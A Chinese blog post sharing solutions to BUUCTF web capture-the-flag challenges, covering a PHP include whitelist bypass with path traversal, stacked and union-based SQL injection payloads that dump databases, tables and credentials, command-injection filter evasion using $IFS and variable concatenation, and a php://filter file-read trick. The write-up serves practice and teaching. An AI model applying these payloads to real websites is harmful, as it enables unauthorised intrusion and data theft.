当前位置:   article > 正文

BUUCTF-web学习分享

BUUCTF-web学习分享

目录

WarmUp1


WarmUp1

打开是个滑稽笑脸查看源码发现source.php文件

访问source.php得到以下源码

  1. <?php
  2. highlight_file(__FILE__);
  3. class emmm
  4. { //定义了一个checkFile函数
  5. public static function checkFile(&$page)
  6. { //定义白名单及source.php和hint.php
  7. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  8. if (! isset($page) || !is_string($page)) { //判断page是否声明及是否为字符串
  9. echo "you can't see it";
  10. return false;
  11. }
  12. if (in_array($page, $whitelist)) { //判断page是否在白名单里
  13. return true;
  14. }
  15. $_page = mb_substr( //截取字符串从第一个问好号开始
  16. $page,
  17. 0,
  18. mb_strpos($page . '?', '?')
  19. );
  20. if (in_array($_page, $whitelist)) {
  21. return true;
  22. }
  23. $_page = urldecode($page);
  24. $_page = mb_substr(
  25. $_page,
  26. 0,
  27. mb_strpos($_page . '?', '?')
  28. );
  29. if (in_array($_page, $whitelist)) {
  30. return true;
  31. }
  32. echo "you can't see it";
  33. return false;
  34. }
  35. }
  36. if (! empty($_REQUEST['file']) //判断file值不为空
  37. && is_string($_REQUEST['file']) //file是否为字符串
  38. && emmm::checkFile($_REQUEST['file']) //并且checkFile函数返回为真
  39. ) {
  40. include $_REQUEST['file']; //解析文件路径返回文件内容到页面当中
  41. exit;
  42. } else {
  43. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  44. }
  45. ?>

知识点:

1.is_string() 

is_string() 函数用于检测变量是否是字符串。

 2.php中的::

::是调用类中的静态方法或者常量,属性的符号

3.mb_substr()

函数返回字符串的一部分

4.mb_strpos():

返回要查找的字符串在别一个字符串中首次出现的位置

5.&&

&& 如果两个操作数都非零,则条件为真;

访问hint.php,看到了ffffllllaaaagggg文件

由此得知找当对应的路径就可以得到flag,我们使用../../一层一层的网上找即可

EasySQL1

发现无论输入什么数子都回显1,联想到堆叠注入

1;show databases;查看数据库

1;  show tables;发现flag表

 但是怎么也查看不了   好像from和select被过滤了  也是借鉴了大佬的博客 讲的很清楚  链接

 1;set sql_mode=PIPES_AS_CONCAT;select 1 相当于是将select 1 和 select flag from Flag 的结果拼接在一起,也就是 select 1;的结果拼接select flag from Flag的结果

 Ping Ping Ping

根据题目提示直接输入本地ip发现有会显

 使用连接符进行查看根目录 ;&& ||

使用空格绕过查看index.php 看一下过滤规则

$IFS              

$IFS$6                               ——后面的数字6换成其他数字也行

${IFS}

<

<>

{cat,flag.php}                      ——这里把,替换成了空格键

%20                                     ——代表space键

%09                                     ——代表Tab

 

过滤了好多字符   这里可以使用拼接绕过 

比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system

使用查询语句对库进行查询  1' union select 1,2,databases()#   但是发现对一些关键字进行了过滤

 可以是用堆叠注入,sql语言在被执行的时候是以封号的结束的,但是一行可以执行多个语句

列:select 1;

       select 2;   等于    select 1; select 2; select 3;

       select 3;

 使用 1‘;show databases;#查看数据库

使用 1’;show tables;# 查看表名

 在使用 1'; show columns from`1919810931114514`;#   这里注意表名要加反引号

 看到flag字段 使用

Secret File1

打开题目  右键全选发现有一个隐藏的超链接  在源码中也可以看到

啥也没有看到  就查阅结束了可以隐藏在数据包里面了 抓包查看一下

可以看到数据包响应的时候有个secr3t.php  访问一下

访问得到了php源码   发现对读取的方式进行了过滤 

 这里用到php的读取伪协议

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

php://filter/resource=<待过滤的数据流>(就是文件的路径)

php://filter/read=<读链需要应用的过滤器列表>(就是具体的操作)

?file=php://filter/convert.base64-encode/resource=flag.php 就是将flag.php文件以base64的形式输出

用?file=php://filter/read=convert.base64-encode/resource=flag.php

使用伪协议?file=php://filter/read=convert.base64-encode/resource=flag.php   读取flag文件并进行base64编码  查看源码得到base64

 在burp里面解码一下flag就出来了

LoveSQL1

输入1'  发现报错 判断为字符型注入

在使用万能密码 1' or 1=1# 知道了账号名

这个密码是md5加密把 但是没啥用 解密也解不出来

使用 1' order by 1#来测试字段数  发现到4的时候报错了  得知只有三个字段

查询数据库和版本: 1' union select 1,database(),version()#

爆表名:?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

爆字段:

  1. /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

爆出字段值

  1. /check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/501731
推荐阅读
  

闽ICP备14008679号